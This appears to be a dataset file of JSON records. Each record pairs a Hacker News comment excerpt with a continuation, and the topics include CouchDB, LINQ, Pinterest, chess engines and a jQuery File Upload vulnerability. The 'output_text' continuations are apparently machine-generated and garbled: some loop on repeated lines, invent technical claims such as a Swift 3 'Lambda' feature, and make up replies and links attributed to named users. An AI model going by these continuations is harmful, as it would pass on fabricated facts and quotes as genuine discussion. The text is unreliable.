If there\nare people who would like to talk about what we've accomplished so far feel\nfree to reach me at s@netin.co\n\n[1] [https://netin.co](https://netin.co) [2]\n[https://netin.co/candidates](https://netin.co/candidates)\n\n------\nphilip1209\nIt's great to hear about your success!\n\nFor discussion's purposes, it's worth pointing out that there is a venture-\nfunded company that is doing the same thing (but with a big data science\nteam):\n[https://www.crunchbase.com/organization/entelo](https://www.crunchbase.com/organization/entelo)\n\n------\niamleppert\nNow just let me come up with a product I can sell to developers that\ncamouflages them to this product by simulating activity on these sites...\n\nI wonder what their next line of business is at this company...selling this\ndata to current employers to see when their employee is about to jump ship?\n\n------\ngizmo\nThis type of data mining of personal information feels kind of icky to me.\n\n------\nk2xl\nI wrote a similar tool for recruiters (only analyzes LinkedIn profiles that\nyou are viewing). Mine is significantly cheaper at $9 per month:\n[https://recap.work](https://recap.work)\n\n~~~\n0xmohit\nYour site redirects (301) from HTTPS to HTTP!\n\n \n\nSo you\u2019re inexperienced, non-technical,"} +{"output_text": "------\njhallenworld\nI started with 6502 assembly in the 80s, and I remember being impressed by the\nsize of the code. I also remember that the code was pretty straightforward,\nand that it was easy to learn.\n\nI also remember that the 6502 was a very simple CPU, and that it was easy to\nunderstand the code.\n\n------\njhallenworld\nI started with 6502 assembly in the 80s, and I remember being", "input_text": "elf.com/docs.htm>) and punching it into memory on a hex\nkeyboard (the original had a switch for each bit and 4 push-buttons for load,\nrun, etc).\n\nBy the time I was coding for 6502 and 8088 processors (still in assembly\nlanguage - I was after all an embedded engineer), I had assemblers and an\n80-column by 43-line text editor.\n\nAren't we spoiled today? I wouldn't want to go back, but I've also found that\nthe low-level experience with machine code is something many \"newer engineers\"\nare missing... it's an appreciation of the hardware that you can't get any\nother way.\n\n~~~\nzerohp\nComputer Engineering still offers this experience. It's the main reason I\npicked this major when I returned to school after many years as a programmer.\nMost of the graduates from here go on to software development. The low level\nexperience makes them well suited to work on embedded systems, device drivers,\nand operating systems.\n\n------\nlake99\nI did my bachelors (in India) in the mid-90s, and we all coded this way in our\n8085 labs. Many of us even did final-year projects on similar-looking 8085\nkits.\n\nGiven that such kits are still sold [1] in India, I guess quite a few\nengineering students still learn to code like that.\n\nMy bosses, though, had all worked on punched cards.\n\n[1]: [http://www.dynalogindia.com/products/education-\nsolutions/808...](http://www.dynalogindia.com/products/education-\nsolutions/8085-microprocessor-262.html)\n\n"} +{"output_text": " with that model.\n\nI'm not saying that Zuckerberg is a good person. I'm saying that he's not a\npsychopath. He's a product of his environment. He's not a bad person, but he\nis a product of his environment. He's not a bad person, but he's a product of\nthe environment that created the \"entrepreneurial\" ideal. He's not a bad\nperson, but he's a product of the environment that", "input_text": " and prestigious employment (i.e. the Entrepreneur In\nResidence)?\n\nDo you think a sane SV VC should employ a toxic person that publicly calls\nZuckerberg a psychopat?\n\nSo far he filed a bunch of frivolous lawsuits against anyone who came into\ncontact with him and looked at him funny. He always represents himself, so\nthere's no cost for him but it hurts the defendants because they have to hire\nand pay for real lawyers.\n\nHis previous lawsuit has been dismissed by the judge\n\n\nHis other lawsuit ()\nis in shambles on procedural grounds because his California lawyer wants to\nwithdraw from the case which would leave Greenspan as the only lawyer and,\njust like in this case, he sues on behalf of his company and a company can't\nrepresent itself, so his has to have an outside counsel to proceed.\n\n~~~\nmichaelochurch\n_What logic compels you to conclude that if you get viciously and frivolously\nsued by someone and publicly badmouthed by him (on his weblog) you should give\nhim a lucrative and prestigious employment (i.e. the Entrepreneur In\nResidence)?_\n\nLet's start with the fact that his startup (lawsuit) actually does more good\nfor society than 95% of these VC-istan social media companies (that are just\nexcuses to waste young peoples' careers). If nothing else, he's drawing\nattention to the \"we'll fund your competitors if you don't play our way\"\naspect of VC-istan, pointing out the problems"} +{"output_text": "'s open\nsource and you can repost the text, is it fair use to link to the text\npublicly?\n\n~~~\njdp23\nI think the Copyright Act defines \"reproduction\" as \"the fixation of a\nreproduction in any format.\" So if I link to a Readability article, I'm\nreproducing it in text format, not in an image format.\n\n~~~\nbrador\nAh, that makes sense. Thanks.\n\n------", "input_text": " copyright violations of\ninformation you have copyright on? Fine. You want to sell something licensed\nunder CC-By-SA? Fine. But you better be ready to comply to the license and\nallow whoever you give those works to the right to copy, sell and modify those\nworks. I highly doubt Pinterest is prepared for this, and their TOS _is_\noverreaching.\n\n------\nmaqr\nMaybe all the buzz about Pinterest is because so many people think that\nfinding an image online makes it publicly redistributable. \"Pinning\" is just\nanother way of sharing.\n\nI get the impression that there's much wider public acceptance of sharing\n(pirating?) pictures than music, movies, or software. I don't have a good\nanswer as to why this might be, but I'd be curious what HN thinks.\n\n~~~\nelithrar\n> I get the impression that there's much wider public acceptance of sharing\n> (pirating?) pictures than music, movies, or software. I don't have a good\n> answer as to why this might be, but I'd be curious what HN thinks.\n\nAnecdotally, it's because photographs and images are seen as \"easier to\nreproduce\" (whether this is true or not is another matter), and therefore\npossibly easier to justify by those doing the sharing.\n\nThat, and there's far less friction to sharing photos/images than video and\nsoftware.\n\n~~~\neurleif\nPerhaps it's also that photos seem less valuable than songs or movies, since\npretty much anyone can take a decent photo? (Decent by the person's own\nstandards, at least; maybe not by a professional photographer's.)\n\n------\nbrador\nCould this argument also apply to sites like Readability? Since it"} +{"output_text": " of being banned.\n\n~~~\nmatt_wulfeck\nWhy would people spend money on something they don't believe in?\n\n~~~\nfloatingatoll\nBecause influencers are the only thing that\u2019s ever given them reason to\nbelieve in something.\n\n~~~\nmatt_wulfeck\nThat's a pretty big claim.\n\n------\nmatt_wulfeck\nI think this is a good study because it shows", "input_text": " marketers analyzing her every move in Business Insider. I\nthink maybe fuck the internet? Just not for the same reason I thought.\n\n------\ncosmodisk\nI looked at her account on Instagram.First of all I'm surprised she's got so\nmany followers,as there's nothing even remotely interesting in her posts.\nThere's no story I'd follow-in fact there's nothing at all. So no surprise\nT-Shirt business was a flop.\n\n------\narkitaip\nEven at a terrible 0.01% conversion rate she would have sold 200 t-shirts.\n0.0018% is a rounding error, the quantity you purchase for QA or for handing\nout at a pr event. Small Twitch streamers with a tenth of her audience sell\nmore t-shirts.\n\n~~~\nMirioron\nI think it has to do with the fact that twitch streamers tend to be very\nengaged with their fans. Especially small twitch streamers. They're kind of\nlike \"rent-a-friend\" except they live based on donations.\n\n~~~\narkitaip\nVery true. Twitch streamers have really discovered a profound truth about what\nit means to be in entertainment.\n\n------\nfloatingatoll\nI\u2019d love to see someone run a perfectly great influencer Instagram where if\nyou can\u2019t verify a purchase within 28 days you are permanently banned from\nfollowing them.\n\nNot because I think this is healthy, but because I think people will complain\nloudly and campaign to have them boycotted for demanding proof of their\n\u201cinfluencer\u201d status resulting in money spend.\n\nI think such a thing would shred the influencer concept to bits, and so all\nthe other influencers would react out of fear"} +{"output_text": " data.\n\n~~~\nganeshkrishnan\n[https://www.reddit.com/r/chess/comments/1xkx0j/chess_playing...](https://www.reddit.com/r/chess/comments/1xkx0j/chess_playing_neural_network_lc0_wins_the_world_cup_of/)\n\n------\njoe_the_user\nI", "input_text": ":\n\n\\- No sidewalks or discernible rules of the road\n\n\\- Cycles, cars, trams and horse buggies all mixing it up\n\n\\- People standing around in the middle of the street to pick a ride, or\nstrolling casually straight across heavy traffic\n\n\\- Cars making u-turns right through traffic, or parking everywhere, making\nthe street half as wide as it would have been\n\nOnce I thought about this I couldn't shake the feeling that I was watching\nLahore 2010.\n\n------\nexspiro\nnice! 104 year old google streetview. :)\n\n~~~\njaybol\nI was hoping for some LARP photobombing :)\n\n------\nmortenjorck\nIt's strange to imagine a time when \"oh, look, a motorcar!\" might be uttered\nwith the same sense of technological novelty as \"oh, look, an iPad!\" today.\n\n------\nars\nTo play normally the video needs to be sped up about 40-50%.\n\n~~~\ndmoney\nI think the world was just slower then.\n\n~~~\nars\n:)\n\nCould be, although I don't think gravity was lower. Maybe if the earth was\nturning much faster though......\n\n------\nsabat\nThe blogger notes that Market Street seemed wider than it does today. I\ndisagree; it really looks about the same. Keep in mind that the sidewalk is\nmuch larger now than it appears to be in 1906.\n\n \nChess-playing neural network LC0 beats Stockfish in 100-game match - bonzini\nhttps://tcec.chessdom.com/#\n======\nganeshkrishnan\nIt's really amazing and impressive what LC0 has achieved with almost no money\nand only community pooled training"} +{"output_text": "miller5\nI think you mean monad transformer\n\n~~~\nbmurphy1976\nNope. Monad is just a type.\n\n~~~\nnp_tedious\nYou're right, I made a mistake.\n\n------\njap\nI wonder if this is related to the \"Lambda\" language feature in the new Swift\n3?\n\n[https://developer.apple.com/documentation/swift/swiftlang/re...](https://developer.apple", "input_text": " use Roslyn in code, but that's using the C# compiler in process.\n\n~~~\ngpderetta\nThe code->AST is done of course at compile time (there is no reason to delay),\nbut I believe the expression tree itself is processed by linq at runtime. You\ncan build expressions programmatically at runtime as well (and then ask the\nruntime to optmize them to bytecode). I remember doing it years ago, it was\nsurprisingly simple (and very powerful).\n\n~~~\nmythz\nOf course the Expression's AST generated by the C# compiler is analyzed at\nruntime, how else could it be done?\n\n------\nRapzid\nDoes it AST? Time for a TypeORM 2.0; Entity TypeWork?\n\n------\nduxup\nIs there a good high level explanation for what this is for someone not\nalready familiar with LInQer or C#?\n\nI'm googling around and still kinda not sure.\n\n~~~\nnp_tedious\nIt's a bunch of functions that can be performed on an enumerable (array, set,\n, etc) type. Commonly several are changed together.\n\nSelect (aka map)\n\nWhere (aka filter)\n\nSelectMany (aka Flatmap)\n\nAccumulate (aka fold)\n\nFirst (with optional predicate function)\n\nMax\n\nMin\n\nGroupBy\n\nCount\n\nAnd so on. The readme lists them all\n\n~~~\nbmurphy1976\nIt's more than that though. It's also a special monad like syntax that takes\nadvantage of those methods as well as transformation that takes the\ndeclarative form of those methods and converts them into something else ala\nSQL.\n\n~~~\njames"} +{"output_text": "](https://github.com/apache/couchdb-couch/tree/master/src)\n\n~~~\ngtirloni\nI'm not sure why, but I think it's because the original team was smaller and\nmore focused on CouchDB.\n\n------\njrochkind1\nI'm not sure why this is news.\n\nCouchDB is a great product, and has been a great product, but it's not a\nmassive", "input_text": " is better?\n\n~~~\nrakoo\nValidation functions give you control on writing, but there is no control on\nreading: everybody can read everything. That's more or less by design, couchdb\nwould encourage you to create another db for another set of permissions.\n\nCouchbase's channels allow you to segregate docs with different read (or\nwrite) rights inside the same db.\n\n------\n_Marak_\nCouchDB has not let me down once in over seven years of production usage.\n\nI'm not sure what other software I could say that about.\n\n~~~\nlokedhs\nSame here. The core of our chat application is centred around CouchDB and\nRabbitMQ. Neither of which have ever let us down.\n\nIt can't be a coincidence that both of them are written in Erlang.\n\n------\ncarterschonwald\nI'm pretty confused about where the couchdb repo lives. Can anyone point me to\nit?\n\nOddly:\n[https://github.com/couchbase/couchdb?files=1](https://github.com/couchbase/couchdb?files=1)\nseems to be more like the code than any of the Apache stuff\n\n~~~\ngtirloni\nCouchDB!= Couchbase\n\n[https://github.com/apache?query=couchdb](https://github.com/apache?query=couchdb)\n\n~~~\ncarterschonwald\nNo shit. Now explain to me why the Apache version is split into like 20\ndifferent rebar git repos but has had some core parts untouched for 1-2 years?\n[https://github.com/apache/couchdb-\ncouch/tree/master/src"} +{"output_text": " interesting exercise would be to try and recreate them using\nSVG/Canvas.\n\n------\ncore-questions\nThis is great, but I'm not sure it's a good use case for CSS. The site is\ndesigned in Invision, which is a pretty heavyweight tool.\n\n~~~\npattle\nThanks! I was actually just thinking about how I could use it as a learning\nexercise for myself. I've been reading a lot of articles on CSS and it's", "input_text": " to grasp.\n\n \nThe Simpsons in CSS - CoreSet\nhttps://pattle.github.io/simpsons-in-css/\n======\npattle\nI was wondering why I suddenly had an influx of Twitter followers this\nmorning...\n\nThanks to whoever shared this.\n\n~~~\ncmroanirgo\nNicely done. I was following the link to \"How I did it\" and noticed that I got\nSSL cert errors for the site:\n\n[https://www.chrispattle.com/blog/simpsons-in-\ncss/](https://www.chrispattle.com/blog/simpsons-in-css/)\n\nYou're using the cert for octopushr.app... Unfortunately port 80 is also\nclosed, so even the most recent wayback machine wasn't working. Here's a link\nfrom 2016 which goes into your methods, which honestly, are a bit on the\nsparse side (it doesn't detract at all from what you've done):\n\n[https://web.archive.org/web/20160111044359/https://www.chris...](https://web.archive.org/web/20160111044359/https://www.chrispattle.com/blog/simpsons-\nin-css/)\n\n~~~\npattle\nThanks for the heads up, I've just removed those links for now. Wasn't\nexpecting anyone to come across them!\n\n~~~\nmelicerte\nStill, I remain interested to know how you did it :)\n\n~~~\npattle\nI just built the characters up using simple shapes that you can draw in CSS\n(e.g squares, circles) and layer them on top of each other.\n\nI guess an"} +{"output_text": "\n\n------\nmattmaroon\nTwitter is a great way to follow celebrities and people you otherwise might\nnot know. It's not a general purpose messaging service.\n\n------\nnroach\nI think the author makes a good point about the value of a social graph in\ngeneral, but I'm not sure his conclusions follow.\n\nIf you're a celebrity, or a professional with a large social graph, the value\nof a Twitter-like service is obvious.", "input_text": " seems to be a bit more\npopular among the kiddes these days though.\n\n~~~\nlitewulf\nGeography plays a strong role as well. In the US AIM is super popular (until\nit was supplanted by gchat in my clique). European friends used to use ICQ\n(long ago), and I think MSN has been generally popular in Asia forever.\n\n------\nhuhtenberg\nFeel free to downmod, but\n\n \n \n (TC + Twitter) = (Don't Care)\n \n\nI would rather have Arrington to own shares of some Erlang product company. At\nthe very least this wave of forced publicity would've been more relevant to\nHN.\n\n~~~\ntlrobinson\nHN member complaining about how they don't care about TechCrunch and/or\nTwitter = don't care.\n\nSeriously, every submission about Twitter has a comment like this. Move on.\n\n------\nfoulmouthboy\nI'm so glad somebody actually did some research into this. The original\n\"study\" of one 15 year old Morgan Stanley intern (writing about his circle of\nfriends) should never have been taken as seriously as it was.\n\n~~~\nSamAtt\nI'm not sure this should be taken much more seriously. This is a survey of\nMyYearbook.com users which right there makes it more biased towards those who\nwould use a service like Twitter. Beyond that we have no real idea of how the\nnumbers break down.\n\nThey give some statistics on their user demographics at the end of the post\nbut they seem irrelevant to me. Since they're a service geared exclusively to\nteens with 3.2 million or so uniques per month (according to compete) yet the\nsurvey only got 20,000 results."} +{"output_text": "'t').\n\nI think the biggest challenge we've run into is making sure that the people\nwho leave comments are real people. We've had to do some work to make sure\nthat's the case, but we haven't found a good solution yet.\n\n------\nmarcus\nWe use facebook comments on our blog at and we\nlove them. We have a small team of writers and we can get a lot of", "input_text": " quality comments - I prefer people voice their\nopinions without fear of repercussions. Obviously, this thinking is not\nappropriate for all cases - if you want product comments for example, by all\nmeans Facebook comments might provide the best type.\n\n~~~\nmikeleeorg\nFortunately, we haven't gotten any \"Yes man\" type discussions on our blog yet.\nMany of our most vocal commenters (who often state contrary opinions to ours)\ntook to the Facebook Comment system well, though we've lost a few too. So far,\nnone of the abusive trolls have come over yet.\n\nUnfortunately, I haven't seen the lively discussions we used to get when using\nLiveFyre. So there's definitely a trade-off. We're definitely not sold on\nFacebook Comments yet; it's just our most recent experiment.\n\n------\nderwiki\nWe use the Facebook comment widget on almost all the pages on Causes.com. Two\nquick comments:\n\n\\- When we run a corporate brand community (such as causes.com/att), our\nclients LOVE the number of and types of comments that people leave on the\npage. We've all been impressed with the quality of the comments as well.\n\n\\- Grammar filter\n([http://developers.facebook.com/docs/reference/plugins/commen...](http://developers.facebook.com/docs/reference/plugins/comments/)):\nadds punctuation (e.g. periods at the end of sentences), trims extra\nwhitespace, expands slang words (e.g. plz becomes please), adds a space after\npunctuation (e.g. Hi,Cat would become Hi, Cat), and fix common grammar\nmistakes (e.g. convert \u2018dont' to \u2018don"} +{"output_text": "?\n\n~~~\nblueimp\n> does it allow execution of php files that are in the directory where users\n> upload?\n\nYes, if the file is called index.php and is in the same directory as the\nuploaded file.\n\n------\njamesgagan\nI'm not sure this is a vulnerability, it's more of a feature.\n\n------\njamesgagan\nThis is a great write up of the vulnerability.\n\n \nAsk HN", "input_text": "\n\n~~~\nblueimp\nI agree with you that this would be the safer route. For a production file\nupload service, file uploads should ideally stored in a specialized blob\nstore, e.g. Amazon S3 or Google Cloud Storage.\n\nHowever the PHP code was written as easy-to-use sample code and I did not want\nto introduce a database as dependency and keeping the sanitized filename plus\nextension keeps the meta information intact.\n\nIf I had provided better information about how to securely configure the\nWebserver to allow all file types for upload, using the original - but\nsanitized - filenames would not be an issue.\n\n------\njohn37386\nSo this afect only apache? Anyone have any thoughts on nginx, IIS and other\nweb servers like tomcat, websphere?\n\n~~~\nblueimp\nPlease refer to the vulnerability documentation here to see if you are\naffected: [https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VU...](https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VULNERABILITIES.md#remote-code-execution-vulnerability-in-\nthe-php-component)\n\n------\nAssossa\nI'm curious as to how this could be a widely known exploit in the hacker\ncommunity, but no one reported it until 3 years after its publicity.\n\n~~~\njpic\nIt's not 3 years old, we've been exploiting it when we were 14 yr old trying\nto find server to host warez content, and has nothing to do with the plugin\nitself: it's all about apache's mod_php configuration: does it allow execution\nof php files that are in the directory where users upload"} +{"output_text": "\nWhy? Is it a bad thing to see the future?\n\n~~~\njv22222\nNo, it's not. But it is a bad thing to be blind to the future.\n\n~~~\nchrisseaton\nHow is he blind to the future?\n\n~~~\njv22222\nHe is not seeing the future. He is seeing the present.\n\n------\njelliclesfarm\n> \u201cI\u2019m not a prophet,\u201d he", "input_text": " it to do this yourself? Skimlinks is taking 25%, for this cut I'd\nthink about implementing it myself...\n\n------\nbillpatrianakos\nThis is much ado about nothing. Just fodder for bloggers. What Pinterest is\ndoing is legal and isn't unethical at all. They're not promoting their\naffiliate links over anything else and Skimlinks does not alter user posted\nlinks that are affiliate links to start with.\n\nPinterest is providing a service to its users and those users can choose to\nuse Pinterest or not. I would tell anyone upset about this \"tough luck, go\nsomewhere else\". If this were Google or Facebook there may be some reason to\nbe upset. But unlike Facebook or Google, Pinterest isn't a ubiquitous service\nthat's been adopted and deeply integrated into people's lives and way they\nwork. Right now is the time for Pinterest to do these sorts of things because\nthe more popular they get the harder it becomes.\n\n \nA Man Who Saw the Pandemic Coming - dnetesn\nhttp://nautil.us/issue/83/intelligence/the-man-who-saw-the-pandemic-coming\n======\njv22222\nPeople are focusing on the \"he saw it coming\" aspect of the title.\n\nI would encourage folks to read the article with an open mind as the \"he saw\nit coming\" is not really the point of most of what is said here.\n\nThis is is an expert who understands the realty of zoonotic spillover, and how\nit is going to become a more prevalent threat over time, and how to deal with\nthat threat.\n\n~~~\nchrisseaton\n> People are focusing on the \"he saw it coming\" aspect of the title.\n"} +{"output_text": " It's not on the page I'm\nskipping, so I have to click to find out what it is.\n\nI think you need to re-evaluate your design.\n\n~~~\nspydertennis\nWe have re-designed the site and it is much better. We have a new design up\nand we are trying to get the old one taken down.\n\nWe have a new design up:\n[http://www.wakemate.com", "input_text": "#Sleep_s...](https://secure.wikimedia.org/wikipedia/en/wiki/Sleep#Sleep_stages))\n\n------\nanon-e-moose\nYour website needs to have a one sentence explanation of what it does, e.g.\nmeasure sleep and wake you up when you're in a light sleep. You pretty much\nhave to read the FAQ to figure out that's what it does. Not saying this makes\nit seem like a quack magnetic bracelet or something. Just a suggestion.\n\n~~~\nspydertennis\nWe made the assumption that the average purchaser would not be interested in\ndetails like what phase of sleep you are woken up in. That is why those\ndetails are provided, but not prominently displayed.\n\nThank you for your suggestion though.\n\n~~~\nreemrevnivek\nThe average purchaser is probably not interested in the details, but they are\nmost certainly interested in a sentence describing what it does.\n\nAll that I knew about it when I clicked the link and skimmed the page was: \\-\nThey're ready \\- I skipped some stuff about pre-orders \\- I might not be able\nto get one before Christmas \\- When you make them, they're all arranged in a\nbig tray, are charcoal and light blue \\- The manufacturing process somehow\ninvolves baking and cutting.\n\nI had to click in my url bar and type in \"wakemate.com\" before I got anything\nuseful. It's a fuzzy bracelet, it has something to do with waking you up and\nmaking you feel better, a few platforms like iPhone, some video I don't have\ntime for, and I finally read \"Wake up at the optimal time in your sleep\ncycle.\"\n\nThat sentence should be the first thing I read."} +{"output_text": " are the only way to distribute\ngames on certain platforms. I don't like the idea of a single monopoly\n(Google) controlling the distribution of apps on a whole platform.\n\n~~~\nm463\nI'm not sure that's a monopoly.\n\nGoogle controls the distribution of apps on a whole platform, but they don't\nown the platform.\n\n~~~\nteknopurge\nThey do own the platform. They have the power to prevent others from\ndist", "input_text": "writer\nSince there are alternative stores on Android (incluid Epic\u2019s own, which,\nIIRC, they used Fortnite exclusivity to launch), to which developers\ndemonstrably do resort if Google's pricing or other terms become unfavorable,\nthere's a lot weaker antitrust argument with Google Play.\n\n~~~\ndamnyou\nI use Android with alternate app stores everyday, so I'm intimately familiar\nwith the issues with them. The most prominent ongoing issue is that they can't\nauto-update apps the way Google's can. It's not a level playing field.\n\n------\nbaby-yoda\nthe enemy (aapl/goog) of my enemy (antitrust regulators) is my friend?\n\n~~~\nmarkus_zhang\nNo but you want them to fight at least\n\n------\nDatsundere\nThis is exactly what DHH fought over apple to get their app approved in the\nplay store. If you still think that having to pay 25% of your profit just to\nlist your product that you didn't even use their tools to make, then you're\ninsane.\n\n------\nscott31\nAs a Fortnite player, its time to buy an iPhone then\n\n~~~\ntveita\nYou might have missed some steps of this still developing story:\n[https://twitter.com/markgurman/status/1293984069722636288](https://twitter.com/markgurman/status/1293984069722636288)\n\n------\nlwansbrough\nCrazy number of boot lickers in these threads.\n\n------\nteknopurge\nThis is going to backfire for Epic. I see both sides, however, the App Stores\nhave overhead to support free apps, and they"} +{"output_text": " guide, this will continue.\n\n------\njelliclesfarm\nThe US is a very large country. There are many places in the US where\nelectricity is cheap.\n\n~~~\nbluGill\nThe US is also a very large country with a very large population. This means\nthat even if the cheap areas are large, they still contribute a lot to the\nelectricity supply.\n\n~~~\njelliclesfarm\nYes, but the people", "input_text": " last year was the same price as a new\none this year, if we wait its for the last years model. We don't wait to buy\nfood until tomorrow because it might be cheaper. We don't wait to fill our gas\ntank until tomorrow, we have to get to work today. We don't wait until\ntomorrow to fill our prescriptions, we need them today. I don't wait to pay my\nelectric or cable bills, I need them today.\n\nWhere is it, who, exactly, does this hurt. Who will be sitting on their money,\nwaiting to buy things they need until tomorrow. Only people who already have\neverything they need, and even then they will continue to buy the basics. Who\ndoes this hurt. The roads will continue to be paved, the cities will continue\nto function. How does this all break down when a dollar today is worth a\ndollar and a fraction of a cent tomorrow.\n\nWe weren't all dying when gas was $1 a gallon were we?\n\n~~~\nNursie\nIt hurts everyone as the economy shrinks and there's less cash to go around.\n\nThat's who.\n\n~~~\nmsandford\n> It hurts everyone as the economy shrinks and there's less cash to go around.\n\nOnly until prices fall enough that people start spending again and hiring\npicks up again.\n\nThe idea of an evenly rotating economy where everything is great all the time\nhas been thoroughly disproven over 100 years ago. To try and manage the\neconomy to be so is a fool's errand.\n\nDebt has grown ever-so-slightly faster than income for the last 40-50 years\nand that means future purchases have been pulled to the present for the last\n40-50 years. If history is a"} +{"output_text": "\ncontainer is not running. This means that you need to start a daemon, which\nmeans you need to use ocid.\n\n~~~\nmastax\nI'm not sure I follow. The daemon is optional, and you can use ocid without a\ndaemon. The RPC requirement is necessary because ocid needs to be able to\ncontact the kubernetes API server. If you don't need that, you can use ocid\nwithout a daemon.", "input_text": " where routing, fabric and ip allocation gets muddled all up, when\nthere are well developed, stable, well tested independent and orthogonal\nalternatives for tunnelling and route propagation there's a serious level of\nNot Invented Here syndrome at work in many of the container projects. I'm sure\n_some_ people need all the complexity, but I'm getting more and more tempted\nto ditch many of the higher level tools in favour of composing smaller,\nsimpler tools.\n\n(Incidentally I'll make one prediction: one good thing likely to come from CRI\nis that I suspect it will lead to a new array of Kubernetes \"replacements\"\nfrom simpler composable tools; the APIs don't look all that bad - I just don't\nlike the RPC dependency)\n\n~~~\ncyphar\n> Do you have any more specific pointers regarding using it without a daemon?\n> As the examples seem to start with starting a daemon, unless I misunderstand\n> something\n\nAt the moment, the RPC requirement means that you need to have a process that\ncan accept RPC requests (a \"daemon\" if you like). However, unlike Docker (and\ncontainerd), ocid's lifetime is not tied to the lifetime of its containers --\nwhich is one of the main downsides of Docker/containerd IMO. So in principle\nyou could have ocid set up to only start up when kubelet is telling it to do\nanything. The real benefit of the design behind ocid is that _in the future_\nwe could switch to a fork-exec model with the kubelet and it would still work.\n\nFor example, currently kubernetes is adding a requirement for runtimes to\ninclude a \"kpod\" binary that can do container and image operations even if the"} +{"output_text": " know it's not easy to do, but it's the only way I found to work in a\nreasonable way.\n\n------\njuskrey\nI am in similar situation, but with a bit different motivation.\n\nI am a software engineer, but I am not happy with the job, and I am not\nmotivated to go to interviews, learn new technologies, etc. I am not motivated\nto go to office, commute, etc. I am not motivated to do", "input_text": " down a tech job, I'm sure. I wish it were not so, it\nhas many negative side effects for me: anxiety, grumpiness, difficulty\nsleeping well. If you find a good motivator that isn't a drug, you will be way\nahead.\n\n------\nchanz\nIn my case, it helps to stick to habits. Habits that are device, cloths and\nlocation specific.\n\nThe biggest one is probably my computer at home. It only exists for gaming.\nWhen I'm inside my gaming room to enjoy a gaming session, nothing else gets\nclose to me and I forget about everything as soon I step into this room.\n\nAnother thing is, that I have cloths to relax, to go out and to go to work. As\nsoon I change into my plain white shirt with collar, my brain probably\nswitches to work mode.\n\nThe third is similar to the first habit. Going to work and being there is also\na'swtich' and I can concentrate.\n\nI was a freelancer too and I had a hard time to work at home. My computer was\nalways just a room away and just going in there for a'short' gaming session\nwas too easy.\n\nSo basically this is my advice: Go and buy a different computer than the one\nfor gaming, shower in the morning and change into your business attire. Leave\nthe house and go somewhere boring and quiet. The last part is the hardest\nsince everything gets interesting depending on how much you have to overcome\nyour habit. Your brain tries to fill your enjoyable habits with new enjoyable\nhabits, instead of the 'boring' work. This is probably why so many smoke - it\ncreates a enjoyable habit of doing 'nothing', which is better than working.\n\nI"} +{"output_text": "\n~~~\nmichael_michael\nI don't understand this. Why is Mozilla's leadership 'dominate' or 'dangerous'\nfor the open web?\n\nMozilla is not a commercial entity, they are a non-profit with a mission to\npromote the open web.\n\n~~~\nalfiedotwtf\nBecause Mozilla is the only non-commercial entity with a non-profit status\nthat has a public position on issues that are divisive", "input_text": "makng processes\nof regular people. Accounting for those that accelerate adoption most, the\ntech enthusiast community, sites like HN show Mozilla still has a (potentially\ngrowing) great deal of love from the decision makers that matter.. there is a\nstrong and still valid sheppard/sheep network effect in play here (the same\nthat originally caused Mozilla's 90s/00s popularity) and it's still far too\nearly to discount its value just yet.\n\n------\nunknownian\nThe comments on that site are sickening. Yes, I do not agree with Eich's\nviews. Mozilla owned up to it. Someone should tell them to disable JS\neverywhere because of Eich.\n\nPlus, Firefox is a community project with more momentum than almost any FOSS\nproject. It won't die.\n\nedit: read that in reverse\n\n~~~\ntatterdemalion\nThe comments I read took rather a different position I thought - that they\nbelieve people should not use Firefox because Mozilla \"fired\" Eich. Still a\nsickening position.\n\n~~~\nbrighteyes\nAt the time, Mozilla was savaged by both the far left and far right. Both\nsides called for boycotts.\n\nThe comments in this story appear to be from the right in this case. I guess\nthe left lost interest (not surprising since they got what they demanded, for\nEich to be removed - or maybe just leftists don't read that website).\n\n------\nalfiedotwtf\nThis is a shame - Browser Wars II...\n\nHaving any company have dominance (be it Microsoft, Apple, Google, whatever)\nis dangerous for the open web. I don't look forward to walled gardens again\nwhere \"This site only works with X\" becomes prevalent.\n"} +{"output_text": " administrator on the computer.\n\nThis is the only part of the article I can think of that makes sense.\n\n~~~\ngruez\n>This is the only part of the article I can think of that makes sense.\n\nhow is dropping a file into the startup folder or creating an autorun entry\ndifferent from being an administrator?\n\n~~~\nmiles\nThe former is an exploit that can be used by any user on the system, the\nlatter is an", "input_text": " name of the algorithm used.\n\n \nA Windows feature which can result in bypassing User Group Policy - miles\nhttps://medium.com/tenable-techblog/bypass-windows-10-user-group-policy-and-more-with-this-one-weird-trick-552d4bc5cc1b\n======\ngruez\n_yawn_ yet another case of an \"exploit\" that involves being other side of an\nairtight hatchway[1]. most/all of the important group policy settings are\nmachine, rather than user. the user group policy settings are mainly with\nappearance/styling.\n\nLet's go through each of the \"implications\".\n\n>Single File Code Execution\n\nIf you were able to drop that file, you're either that user, or an\nadministrator on the computer. If you're that user, you could also achieve\n\"single file code execution\" by dropping a file to the startup folder, or\ncreating an autorun registry key. If you are an administrator, you already own\nthe machine.\n\n>Antivirus/EDR Bypass\n\npossibly, although your payload would still have to get pass behavioral\nanalysis when it's executing.\n\n>Denial of Service\n\nyeah, but you can achieve the same thing by adding \"logoff\" as an autorun\nentry.\n\n[1]\n[https://devblogs.microsoft.com/oldnewthing/?p=100665](https://devblogs.microsoft.com/oldnewthing/?p=100665),\nor search for that term on the blog, there are multiple entries.\n\n~~~\nwolrah\n> If you were able to drop that file, you're either that user, or an\n>"} +{"output_text": ": a single radiation dose is similar in\nprinciple to one received from the environment.\n\nNo, it is not. A single dose of ionizing radiation is not \"similar in principle\"\nto a single dose of, say, a radioactive isotope of iodine (which is a\nradioactive isotope, not an ionizing one). The former is a \"one-off\" event,\nthe latter is a part of our daily life.\n\n~~~\nshadowsun7\n", "input_text": " more months after radiation therapy is\nover. They vary by the part of your body that was treated and the dose of\nradiation you received. Late side effects may include infertility, joint\nproblems, lymphedema, mouth problems, and secondary cancer.\"\n\n~~~\nshadowsun7\nThat moron who wrote the article is a nuclear and medical physicist at the\nUniversity of Oxford.\n\nFrom the HN comment guidelines:\n\n \n \n When disagreeing, please reply to the argument instead of\n calling names. E.g. \"That is an idiotic thing to say; \n 1 + 1 is 2, not 3\" can be shortened to \"1 + 1 is 2, not 3.\"\n \n\nJudging from your comment history, you seem to enjoy calling names more than\nyou do providing arguments.\n\n~~~\nVladRussian\nyour post didn't provide any contra argument, instead you went for personal\nattack and \"karma-bombing\".\n\n~~~\nshadowsun7\nA counter-argument to what, exactly? You took a statement that he made,\nconcluded that he was a'moron who does not know what he's talk about', and\nthen backed that summary statement up with a lifted 